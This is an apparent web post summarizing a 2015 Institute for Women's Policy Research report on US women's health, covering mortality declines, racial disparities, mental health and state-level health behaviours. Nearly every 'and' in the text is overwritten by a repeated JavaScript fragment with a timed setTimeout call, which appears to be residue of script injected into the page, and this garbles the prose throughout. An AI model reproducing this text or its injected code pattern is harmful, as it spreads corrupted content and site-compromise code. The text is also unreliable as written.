The Status of Women’s Health in the United States: 2015

>>Status of womenThe Status of Women in the States, a report by the Institute of Women’s Policy Research, provides data on women’s progress in 50 states, the District of Columbia, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the United States overall. The data can be used to raise awareness, improve policies, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and promote equality. Here are the key findings on women’s health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happiness below.

·         Since 2004, women’s health has improved on four key indicators. Women’s mortality rates from heart disease, lung cancer, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and breast cancer have declined, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the incidence of AIDS among women has decreased 44 percent.

·         Health outcomes are not distributed evenly by race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ethnicity. Black women are more than twice as likely to die from heart disease, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nearly three times as likely to die from breast cancer, as Asian/Pacific Islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ander women, the group with the lowest rates. White women have the highest lung cancer mortality rate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are three times more likely to die from lung cancer than Hispanic women, the group with the lowest rate. Incidence rates of AIDS for black women are nearly six times higher than the rate for all women, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and over twenty times higher than the rate for white women.

·         In every state in the country, women are more likely than men to experience poor mental health. Women are more likely to experience a greater number of poor mental health days per month than they did in 2000, with an increase from 3.8 to 4.3 days per month. Millennial women report having nearly five days per month of poor mental health. Native American women experience a far greater number of poor mental health days than women overall (6.3 days, compared with 4.3 days per month).

·         Health behaviors—such as exercising, eating enough fruits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vegetables, drinking, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and smoking—vary considerably by state. Fewer than half of women in the United States report exercising at least 150 minutes per week, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women in Oregon (64.6 percent) are nearly twice as likely to get this much exercise as women in Mississippi (33.1 percent). Women in Mississippi, Tennessee, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and West Virginia are the least likely to eat a healthy amount (five or more servings) of fruits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vegetables daily. Women in the District of Columbia are the most likely to binge drink, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and while women in West Virginia are the least likely to binge drink, they are the most likely to smoke.

Learn more about The Status of Women in the States, including reports on employment andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and earnings; poverty; work andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and family; violence andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and safety; andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and political participation >>here.




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